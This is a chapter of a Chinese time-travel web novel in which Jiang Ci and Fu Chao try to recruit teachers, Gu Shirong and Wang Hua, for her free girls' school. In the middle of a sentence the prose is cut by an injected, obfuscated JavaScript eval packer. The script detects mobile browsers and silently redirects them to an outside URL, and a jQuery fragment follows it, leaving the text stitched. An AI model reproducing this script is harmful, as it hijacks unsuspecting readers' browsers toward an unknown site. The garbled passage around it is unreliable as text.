14. 聘师
作品:《穿到古代教数学》 七拐八拐,拐进一个只够单人行的小巷子,姜辞走在傅朝身后,出了巷子,眼前豁然开朗。
几个小童手里举着风车奔跑打闹。
一个身穿青色的男子从他们眼前的屋子里走出来,走到一个小女孩身旁,摸了摸她的头,说:“顾言,你该回家温书了。”
小女孩撇着嘴扔下风车,委屈道:“我不要,为什么他们都能玩,而我要一个人在家读书。”
傅朝走上前去,“顾兄。”
顾时容惊喜道:“傅大人,你怎会来此?”
他的目光被傅朝身后粉色衣裙抓住,一女子走出来,他的眼神从鞋上移到了脸上,眼神有些迷离。
“静姝小姐?”顾时容走了两步到姜辞面前,“你怎会同傅大人一起?”
姜辞不由自主舔了舔自己的嘴唇,咽下了口水。
难道眼前的这位男子是我朋友?但是他的称呼又很生分。姜辞看着眼前男子的脸庞不断猜想。
“静姝之前帮过我。”傅朝开口回答道,“一来二去,我们便成了好友。”
傅朝不断扫视顾时容,心想:他的表现是认识姜辞的。
他又看向姜辞:可是她的表情又不像是认识顾时容。
这两人到底怎么回事?傅朝的眉头不自觉拧成了“川”字。
“顾兄,你什么时候认识静姝的?”傅朝问,“怎么从来也没告诉我。”
顾时容笑笑,道:“我与姜小姐只几面之缘罢了,谈不上认识。”
他招呼着二人进了屋,“不知傅大人今日来此所为何事?”
“今日前来是想聘你为师,不知顾兄可有兴趣?”
顾时容疑惑道:“我记得傅大人的妹妹不过2岁而已,现在就要为她聘老师啦?”
“是我。”姜辞赶在傅朝之前开了口,她看向顾时容,“是我办了个学堂,需要老师,听闻傅大人识得一些读书人,便请他来帮我了。”
傅朝附和道:“没错,就是这样。”
“可你之前……”话才开口,顾时容立马改口道:“原来是这样。”
“我之前,怎么了?”姜辞问,她越发觉得这个顾时容跟以前的姜辞是熟悉的。
顾时容:“没什么,只是之前听闻姜小姐要开一间武馆,没成想如今却开了学堂。”
“阿兄。”里屋传出小女孩的声音,顾时容往里屋看了一眼,说:“舍妹找我,烦请傅大人和姜小姐在此等候,我去去便回。”
“阿兄,此句作何解?”顾言指着书上的一句话,仰着头看向顾时容。
顾时容看了一眼桌上的书,自动就将她手指的内容读了出来:“大学之道,在明明德,在亲民,在止于至善。”
他眉头微皱,拿起了桌上的《大学》,说:“你从哪里拿的我的书?《弟子规》你学会了?”
“在你床上拿的。”顾言说,“我不想再读《弟子规》了。”
外头孩子们的“哈哈哈”声传进来,顾言更是没有心思坐在这里读书,她站了起来,说:“阿兄,我要和他们一起玩、一起读书。”
门外的姜辞听到里屋传出“读书”二字,蹑手蹑脚走到门前,侧着脑袋,耳朵紧贴着门,努力听清里面的对话。
傅朝见状,扯起她的后脖衣领,姜辞的头被一股力量扯到与门分离,脚也一直往后走。
姜辞伸手往后拍打他的胳膊,“傅朝,我不听了,你松手。”
傅朝这才松了手,“静姝,偷听别人讲话,不好。”
“我知道我知道。”姜辞不耐烦地说,“我跟你讲,我们应该有希望。”
她看了眼里屋的门,压低音量道:“他的妹妹好像想去学堂,而且,外面的那些孩子都想去,只要顾时容答应我们,老师、学生都不用愁了。”
姜辞双手抱胸,嘴角上扬,“这外面的小孩还挺多的,还有其他地方的小孩,我租的宅子会不会小了呀?”
傅朝轻敲她的脑袋,“你别多想了,先聘到顾兄再说吧。”
这时顾时容出来了,他带着歉意说:“久等了,舍妹不愿一人读书,故劝的时间久些。”
“既然如此,你可以送她去乡学啊。”姜辞说。
“我也想啊,但是乡学没有女子,我怕她受欺负,而且一年就要七两银子,我家也确实负担不起。”
姜辞张大嘴巴,怎么这么贵?
“这不巧了嘛,我的学堂正好是女子学堂,而且是免费的,令妹正好可以来。”姜辞说,“若是顾公子来此为师,不仅能看着令妹,还能赚些银子,岂不一举两得。”
“免费,还给我月俸,确实很好,不过你的学堂该怎么维持呢?难道一直靠你贴补。”顾时容说。
“这个公子就不必担心了,我自有办法。若是你愿意,我可以给你的月俸为一两。”姜辞瞪大眼睛,满是期待。
顾时容低头,另一间无门里屋传来一阵阵咳嗽声,他连忙推开布帘走了进去,傅朝和姜辞跟在他的身后。
只见一位面容泛黄的女子躺在床上,顾时容将她的上身微微抬起,端起床边桌上的碗往她嘴里倒,一阵苦药味弥漫空中。
女人睁开眼,眼中似泛泪花,有气无力道:“时容啊,他们,是你的好友吗?”
“是,这二位都是我的至交。”
她的目光从傅朝的身上转到了姜辞身上,眼睛微微眯起,手慢慢抬起来,“这,这位不是,姜小姐吗?”
“是。”姜辞笑着说,她跑过去蹲在床前,双手握住女人的手。
傅朝一脸疑惑地看着床边三人。
这姜辞与顾时容已经这么熟了?
“还得多谢小姐当日的帮助,我这才捡回一条命来。”她说。
“小事一桩,不足挂齿。”
“阿娘,你先休息吧。”顾时容放下女子。然后三人走了出去。
“你们也看到了,家母重病在身,实在无法抽身,姜小姐还是找别人吧。”
姜辞摆摆手,说:“无妨,不过令妹一定要来我们学堂。”
“当然。”
顾时容送他们到了巷子口,作势还要往巷子里走,傅朝制止道:“顾兄不必相送。”
“我还是送你们出巷子吧。”
姜辞说:“不用了公子,我们还有要事,千万不要忘记了,到时候也叫这些孩子来我的学堂。”
顾时容看了眼身后三三两两的小女孩,说:“自然,你的学堂叫什么名字?”
“兰闺学舍。”姜辞和傅朝异口同声道。
三人互相弯腰作揖后,姜辞就跟在傅朝身后进了巷子,身后的顾时容突然叫了她的名字:“姜辞!”
听到了声音,姜辞立马停下转身,“怎么了?”
不知何时,顾时容手里多了一筐蔬菜,他走过来,递到姜辞手上,“上次你跟我说爱吃水芹,我家里正好有很多,你带点回家吃。”
这框里有各种绿色、白色的蔬菜,其中有一股味道特别刺鼻,姜辞鼻翼微动,“好,谢谢。没想到你还记得我爱吃水芹。”
顾时容眼中闪过一丝怀疑,不易察觉。心想:她分明说得是最讨厌水芹,今日怎么有些不对劲?
姜辞不动声色转过身,然后长吸一口气,再憋着气。
出了巷子她才呼气。她最讨厌芹菜了。
“发生何事了?”傅朝问,“怎么这么久才出来?”
姜辞拎起菜篮子,说:“顾公子给我的。”
傅朝将手放在菜篮子的弯把上,然后捏成拳圈住,姜辞见状顺势松开手。
傅朝说:“你何时有了顾时容这位知己,怎得没听你说过?”
姜辞恍然大悟“啊”了一声,道:“原来他叫顾时容啊,刚刚聊了那么久都忘记问他名字了。”
“你不是跟他很熟吗?怎会不知他姓甚名谁。”
姜辞在他的语气中听到了一丝阴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442525|168504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阳怪气的味道,但也没有多想,道:“我跟他真的不熟,不过以后就不一定了。”
傅朝看着她的侧脸轻哼一声,快步前进,姜辞小跑才能勉强跟上他。
她看着他的背影,想:怎么感觉生气了,莫名其妙。
傅朝侧头,用余光看到身后小跑的姜辞,不自觉放慢了脚步,二人渐渐并排。
姜辞忽觉他的身上散发出一股冷气,小心翼翼偏头看向他,问道:“你,生气了吗?”
傅朝觉得可笑,“哈哈哈,我,我为什么会生气?”
“对呀。”姜辞目不转睛盯住他,“你为什么会生气。”
“我没生气。”
“哦,那我们现在去哪儿?”
“城南王骅家。”
到了城南,正好遇到了巡街的衙役,傅朝将菜篮子递给领头之人,说:“回去的时候把它带给姜大人。”
“是。”
姜辞轻拍自己的额头,突然想起,自己刚刚空手去的顾时容家,现在依旧空手。
“傅朝,我们应该买点礼物带过去。”
傅朝陡然停下脚步,百密一疏,他竟也忘了。
“说的没错。”傅朝说,“听闻王骅向来喜爱字画,我们便去买幅字。”
这古玩字画最是贵,姜辞可没那么多银子,而且别人不一定会同意,那样的话岂不白花了银子。
她立马说:“依我看,还是买些糕点吧。”
傅朝点头,其实买什么都行,只要不空手就行。
姜辞买了两盒绿豆糕,满心欢喜去到了王家。
王家大门敞开,傅朝探头,并未在院中见到任何人。他敲了敲木门,往里喊:“有人在吗?”
姜辞紧接其声,大喊:“有人在吗?”
一个约莫四十岁的女子走来,问道:“不知二位要找何人?”
“王公子在家吗?”姜辞回。
“小骅呀,在家,两位进来喝口茶吧。”
姜辞把手中的糕点放在桌上,自己便坐在椅子上,没过一会儿,王骅就来了。
他直奔傅朝而去,“傅大人大驾光临,寒舍招待不便之处,还请见谅。”
傅朝端起茶杯,“这茶便不错了。”
他拿起桌上的糕点,递到王骅面前,“小小心意,不成敬意。”
王骅拿过糕点,“不知傅大人突然前来所为何事?”
“确有一事需你相助。”傅朝喝了口茶,“不知王兄可还教学?”
姜辞默默喝茶,听他们的对话。
原来他以前就是老师,如果能来我的学堂再好不过。
王骅轻笑,“怎么,傅大人要办学了?”
“不是我,是她。”傅朝看向姜辞,王骅顺着他的目光看去,姜辞面带笑容站起来,走到王骅面前,鞠躬作揖,道:“见过王公子。”
王骅嘴角抽搐了一下,怀疑道:“女子办学?”
“是的。”姜辞回他,坚定郑重。
“若是傅大人办学,我倒会考虑一二,可若是这位小姐,我定然不会考虑。”
“为什么我就不行。”姜辞问,她倒想知道他能说出个什么一二。
“这女子本该相夫教子,而你却要抛头露面,况且,这女子为主的学堂,会有学生来吗?”王骅说得摇头晃脑,“我可是秀才,以后自会成为状元,我若是去了你的学堂,以后岂不被同僚笑话。”
“噗。”姜辞没憋出,一口茶吐了出来,“抱歉,一时没忍住。”
“哈哈哈。”姜辞仰头大笑,“公子,你该醒醒了,这白日梦可做不得。你现在不过是一介秀才,后面还有春闱、秋闱、殿试,这还有层层选拔,你倒是自信。”
姜辞在他面前来回踱步,“这秀才嘛,大街上随便拉一人便是。你知道城墙下的乞丐吗?他也是秀才。”
姜辞食指举起,无辜地笑着说:“噢,记错了,不是秀才,是举人。”